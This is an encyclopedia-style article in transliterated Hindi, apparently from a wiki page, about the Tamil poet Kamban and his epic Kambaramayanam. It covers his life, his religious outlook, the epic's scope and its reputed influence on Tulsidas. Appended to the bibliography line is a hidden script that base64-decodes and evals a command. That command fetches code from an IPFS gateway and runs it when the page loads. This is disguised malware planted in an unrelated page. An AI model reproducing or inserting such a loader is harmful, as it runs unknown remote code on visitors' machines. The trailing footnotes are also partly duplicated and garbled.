कंबन

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kanban tamil bhasha ke prasiddh granth 'kanbaramayan' ke rachiyata the. inaka janm tamilanadu ke chol rajy mean tiruvaluanpoor namak gaanv mean hua tha. kanban vaishnav the. unake samay tak barah pramukh alavar ho chuke the aur bhakti tatha prapati ka shastriy vivechan karane vale yamun, ramanuj adi acharyoan ki paranpara bhi chal p di thi. 'kanbaramayan' ka prachar-prasar keval tamilanadu mean hi nahian, usake bahar bhi hua. yah tamil sahity ki sarvotkrisht kriti evan ek brihat granth hai.

jivan parichay

janashruti ke anusar kanban ka janm eesa ki navian shatabdi mean hua tha. kuchh vidvanh inaka samay barahavian shatabdi aur kuchh navian shatabdi manate haian. kanban ke vastavik nam ka pata nahian hai. 'kanban' unaka upanam tha. inake mata-pita ka unaki balyavastha mean hi dehaant ho gaya. anath balak ko palane vala koee nahian tha. unake door ke ek sanbandhi arkat zile ke sadaiyapp vallal namak dhani kisan ke daravaze par kanban ko chupachap chho d ae. dayalu vallal ne balak ko apane bachchoan ki dekh-rekh ke kam ke lie apane ghar mean rakh liya. jab unhoanne dekha ki unake bachchoan ke sath kanban bhi padhane mean ruchi lene laga hai to sadaiyapp vallal ne kanban ki shiksha ka bhi poora prabandh kar diya. is prakar kanban ko vidya prapt huee aur unake aandar se kavy ki pratibha prasphutit ho gee.

kanbaramayan

kanban vaishnav the. unake samay tak barahoan pramukh alavar ho chuke the aur bhakti tatha prapati ka shastriy vivechan karane vale yamun, ramanuj adi acharyoan ki paranpara bhi chal p di thi. kanban ne pramukh alavar 'nammalavar'^[1] ki prashasti ki hai. kaha to yahaan tak jata hai ki kanban ki 'ramayan' ranganath ji ko tabhi svikrit huee, jab unhoanne 'nammalavar' ki stuti ukt granth ke aranbh mean ki. itana hi nahian, 'kanbaramayan' mean yatr-tatr ukt alavar ki shrisooktiyoan ki chhaya bhi dikhaee p dati hai, to bhi kanban ne apane mahakavy ko keval saanpradayik nahian banaya hai, unhoanne shiv, vishnu ke roop^[2] mean bhi paramatma ka stavan kiya hai aur ramachandr ko us paramatma ka hi avatar mana hai. grantharanbh mean evan pratyek kaand ke adi mean prastut mangalacharan ke padyoan se ukt tathy prakat hota hai. pro.ti.pi. minakshisuandaram bhi 'kanbaramayan' ko keval 'vaishnav sanpraday' ka 'granth' nahian manate. isilie shaivoan tatha vaishnavoan mean 'kanbaramayan' ka saman adar hua aur donoan sanpradayoan ke parasparik vaimanasy ke door hone mean isase paryapt sahayata mili.^[3]

sarvotkrisht kriti

'kanbaramayan' tamil sahity ki sarvotkrisht kriti evan ek brihat granth hai^[4] aur isake rachayita kanban 'kavichakravarti' ki upadhi se prasiddh haian. upalabdh granth mean 10,050 pady haian aur balakand se yuddhakand tak chh: kaandoan ka vistar isamean milata hai. isase sanbandhit ek uttarakand bhi prapt hai, jisake rachayita kanban ke samasamayik ek any mahakavi 'ottakakoottan' mane jate haian. pauranikoan ke karan 'kanbaramayan' mean anek prakshep bhi ju d ge haian, kiantu inhean b di asani se pahachana ja sakata hai, kyoanki kanban ki sashakt bhasha aur vilakshan pratipadan shaili ka anukaran shaky nahian hai.

kathanak

'kanbaramayan' ka kathanak 'valmiki ramayan' se liya gaya hai, parantu kanban ne mool 'ramayan' ka anuvad athava chhayanuvad n karake, apani drishti aur manyata ke anusar ghatanaoan mean saik doan parivartan kie haian. vividh paristhitiyoan ke prastutikaran, ghatanaoan ke chitran, patroan ke sanvad, prakritik drishyoan ke upasthapan tatha patroan ki manobhavanaoan ki abhivyakti mean pade-pade maulikata milati hai. tamil bhasha ki abhivyakti aur sanpreshaniyata ko sashakt banane ke lie bhi kavi ne anek ne prayog kie haian. chhandovidhan, alankar prayog tatha shabd niyojan ke madhyam se kanban ne anupam sauandary ki srishti ki hai. sita-ram ka vivah, shoorpanakha prasang, bali vadh, hanuman dvara sita sandarshan, meghanad vadh, ram-ravan yuddh adi prasang apane-apane kavyatmak sauandary ke karan vishesh akarshak haian. lagata hai pratyek prasang apane mean poorn hai aur natakiyata se otaprot hai. ghatanaoan ke vikas ke sunishchit kram haian. pratyek ghatana aranbh, vikas aur parisamapti mean ek vishisht shilp vidhan lekar samane ati hai.^[3]

ram charitr ki vyakhya

valmiki ne ram ke roop mean 'purush puratan' ka nahian, apitu 'mahamanav ka chitr upasthit kiya tha, jabaki kanban ne ane yugadarsh ke anuroop ram ko paramatma ke avatar ke sath adarsh mahamanav ke roop mean bhi pratishthit kiya. vaishnav bhakti tatkalin manyataoan aur janata ki bhaktipoot bhavanaoan se ju de rahakar is mahakavi ne ram ke charitr ko mahatta poorit evan param poornatv samanvit aise ayamoan mean prastut kiya, jinaki iyatta aur eedrikta sahaj grahy hote hue bhi akalpaniy roop se manohar kianva manoram thi. yah nishchit hi kanban jaisa anany sulabh pratibhavan mahakavi hi kar sakata tha.

tulasi aur kanban

kanban ki 'kanbaramayan' ka prachar-prasar keval tamilanadu mean hi nahian, usake bahar bhi hua. tanjaur zile mean sthit tiruppanaandal math ki ek shakha varanasi mean hai. lagabhag 350 varsh poorv kumaragurupar nam ke ek sant ukt math mean rahate the. sandhya vela mean ve nityaprati ganga tat par akar 'kanbaramayan' ki vyakhya hiandi mean sunaya karate the. gosvami tulasidas un dinoan kashi mean hi the aur sanbhavat: 'ramacharitamanas' ki rachana kar rahe the. dakshin mean janavishvas prachalit hai ki tulasidas ne 'kanbaramayan' se prarena hi prapt nahian ki, apitu manas mean kee sthaloan par apane dhang se, usaki samagri ka upayog bhi kiya. yadyapi ukt vishvas ki pramanikata vivadaspad hai, to bhi itana sach hai ki tulasi aur kanban ki rachanaoan mean kee sthaloan par ashcharyajanak samanata milati hai.

vidvanh kathan

shri vi.vi.es. ayyar^[5] ke anusar 'kanb ramayan' vishv sahity mean uttam kriti hai. 'iliyad', 'pairadaiz l aaust' aur 'mahabharat se hi nahian, varanh adikavy 'valmiki ramayan' ki tulana mean bhi yah adhik suandar hai.'^[3]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ paanchave alavar jo shathakop ya paraankush muni ke nam se bhi prasiddh haian
↑ keval srishtikarta
↑ ^3.0 ^3.1 ^3.2 kanban (hindi). . abhigaman tithi: 28 janavari, 2014.
↑ d aau.ar.pi. setupillai, tamil vibhagadhyaksh, madras vishvavidyalay ka aangrezi mean 'tamil litarechar' shirshak lekh
↑ kanb ramayan-e stadi

liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 123.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ve alavar jo shathakop ya paraankush muni ke nam se bhi prasiddh haian

[2] val srishtikarta

[aa-3] 3.0 ^3.1 ^3.2 kanban (hindi). . abhigaman tithi: 28 janavari, 2014.

[4] u.ar.pi. setupillai, tamil vibhagadhyaksh, madras vishvavidyalay ka aangrezi mean 'tamil litarechar' shirshak lekh

[5] ramayan-e stadi

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